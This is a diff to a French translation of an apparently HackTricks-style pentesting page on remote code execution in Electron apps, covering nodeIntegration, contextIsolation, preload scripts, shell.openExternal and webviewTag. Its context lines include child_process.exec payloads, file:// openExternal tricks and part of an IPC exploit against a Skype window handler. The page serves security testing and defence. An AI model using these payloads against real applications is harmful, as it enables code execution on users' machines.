-Les paramĂštres du **processus de rendu** peuvent ĂȘtre **configurĂ©s** dans le **processus principal** Ă l'intĂ©rieur du fichier main.js. Certaines configurations permettront d'**empĂȘcher l'application Electron d'obtenir une RCE** ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**.
+Les paramĂštres du **processus de rendu** peuvent ĂȘtre **configurĂ©s** dans le **processus principal** du fichier main.js. Certaines configurations empĂȘcheront l'application Electron d'obtenir une RCE ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**.
-L'application Electron **pourrait accĂ©der Ă l'appareil** via Node apis, bien qu'il soit possible de le configurer pour l'en empĂȘcher :
+L'application Electron **pourrait accĂ©der Ă l'appareil** via les API Node bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher :
-- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
+- **`nodeIntegration`** - est `off` par défaut. Si activé, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés.
- **`preload`** - vide par défaut.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer.
- Intégration Node dans les Workers
-- **`nodeIntegrationInSubframes`** - est `off` par défaut.
-- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
-- Si **`nodeIntegration`** est **désactivé**, alors les preloads se chargeront dans l'iframe
+- **`nodeIntegrationInSubframes`**- est `off` par défaut.
+- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans les pages web **chargées dans des iframes** au sein d'une application Electron.
+- Si **`nodeIntegration`** est **disabled**, alors les preloads seront chargés dans l'iframe
Exemple de configuration:
```javascript
@@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
-Quelques **RCE payloads** provenant de [here](https://7as.es/electron/nodeIntegration_rce.txt):
+Quelques **RCE payloads** depuis [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
require("child_process").exec("calc")
@@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
-Le script indiqué dans ce paramÚtre est c**hargé avant les autres scripts dans le renderer**, il a donc **un accÚs illimité aux Node APIs**:
+Le script indiqué dans ce réglage est **chargé avant les autres scripts dans le renderer**, il a donc **un accÚs illimité aux Node APIs** :
```javascript
new BrowserWindow{
webPreferences: {
@@ -153,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation
-Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
+Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
Si les contextes ne sont pas isolés, un attaquant peut :
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
-2. **Ăcraser la mĂ©thode intĂ©grĂ©e** qui est utilisĂ©e dans le preload ou le code interne d'Electron pour prendre le contrĂŽle de la fonction
+2. **Ăcraser la mĂ©thode intĂ©grĂ©e** utilisĂ©e dans le preload ou le code interne d'Electron pour prendre le contrĂŽle
3. **Déclencher** l'utilisation de la **fonction écrasée**
-4. RCE ?
+4. RCE?
-Il y a 2 endroits oĂč des mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code de preload ou dans le code interne d'Electron :
+There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@@ -179,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
-### Contourner l'événement de clic
+### Bypass click event
-S'il existe des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourriez ĂȘtre capable de les contourner en **cliquant avec le bouton du milieu** au lieu d'un clic gauche ordinaire.
+S'il y a des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourrez peut-ĂȘtre les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique
```javascript
window.addEventListener('click', (e) => {
```
@@ -189,24 +189,24 @@ window.addEventListener('click', (e) => {
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
-Lors du dĂ©ploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramĂštres `nodeIntegration` et `contextIsolation` sont correctement configurĂ©s. Il est Ă©tabli que la client-side remote code execution (RCE) visant les preload scripts ou le code natif d'Electron depuis le main process est efficacement empĂȘchĂ©e lorsque ces paramĂštres sont en place.
+Lors du dĂ©ploiement d'une application desktop Electron, s'assurer des bons paramĂštres pour `nodeIntegration` et `contextIsolation` est crucial. Il est Ă©tabli que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est efficacement empĂȘchĂ© lorsque ces paramĂštres sont en place.
-Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, essentiels pour la sĂ©curitĂ© et le fonctionnement de l'application :
+Lorsque l'utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des event listeners spĂ©cifiques sont dĂ©clenchĂ©s, qui sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application :
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
-Ces listeners sont **surchargĂ©s par l'application de bureau** pour implĂ©menter sa propre **logique mĂ©tier**. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction `shell.openExternal`.
+Ces gestionnaires d'Ă©vĂ©nements sont **surchargĂ©s par l'application de bureau** pour implĂ©menter sa propre **logique mĂ©tier**. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction `shell.openExternal`.
-**Voici un pseudocode simplifié :**
+**Here is a simplified pseudocode:**
.png>)
.png>)
-Les bonnes pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à des RCE via divers protocoles. Les systÚmes d'exploitation prennent en charge différents protocoles qui peuvent déclencher des RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
+Les bonnes pratiques de sécurité Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à du RCE via différents protocoles. Les systÚmes d'exploitation prennent en charge divers protocoles susceptibles de déclencher du RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
-Sur macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
+Dans macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemples d'exploits de protocoles Windows incluent :**
```html
@@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
-Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Cette vulnérabilité est décrite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
-La **webviewTag** est une **fonctionnalitĂ© obsolĂšte** qui permet l'utilisation de **NodeJS** dans le **renderer process**, ce qui devrait ĂȘtre dĂ©sactivĂ© car cela permet de charger un script dans le preload context comme:
+La **webviewTag** est une **fonctionnalitĂ© dĂ©prĂ©ciĂ©e** qui permet l'utilisation de **NodeJS** dans le **renderer process**, qui devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le preload context comme:
```xml
```
-Ainsi, un attaquant qui parvient Ă charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
+Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**.
-Ce preload script a ensuite été abusé pour appeler un **vulnérable IPC service (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE:
+Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir une RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Lecture de fichiers internes : XSS + contextIsolation
-**La désactivation de `contextIsolation` permet l'utilisation des balises ``**, similaires à `